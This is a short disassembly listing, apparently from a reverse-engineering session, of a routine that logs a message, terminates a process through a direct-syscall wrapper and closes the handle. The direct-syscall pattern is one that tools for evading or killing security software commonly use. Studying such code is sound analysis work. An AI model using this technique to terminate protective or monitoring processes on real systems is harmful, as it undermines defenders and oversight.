call sym.DbgPrint
jmp 0x14001b846
mov r9, rcx
mov r12, rcx
mov r8d, 0x338
mov rdx, r13
lea rcx, [0x14002bac8]
xor ebx, ebx
call sym.DbgPrint
xor edx, edx
mov rcx, r12
mov r14d, 1
call sym.SysNtTerminateProcess
test eax, eax
jns 0x14001b879
lea r9, str.Failed_to_terminate_process
mov r8d, 0x33f
mov rdx, r13
xor r14d, r14d
lea rcx, [0x14002b990]
call sym.printf.constprop.0_1
test ebx, ebx
je 0x14001b885
mov rcx, r12
call sym.SysNtClose
add rsp, 0x38
mov eax, r14d
pop rbx
pop r12
pop r13
pop r14
ret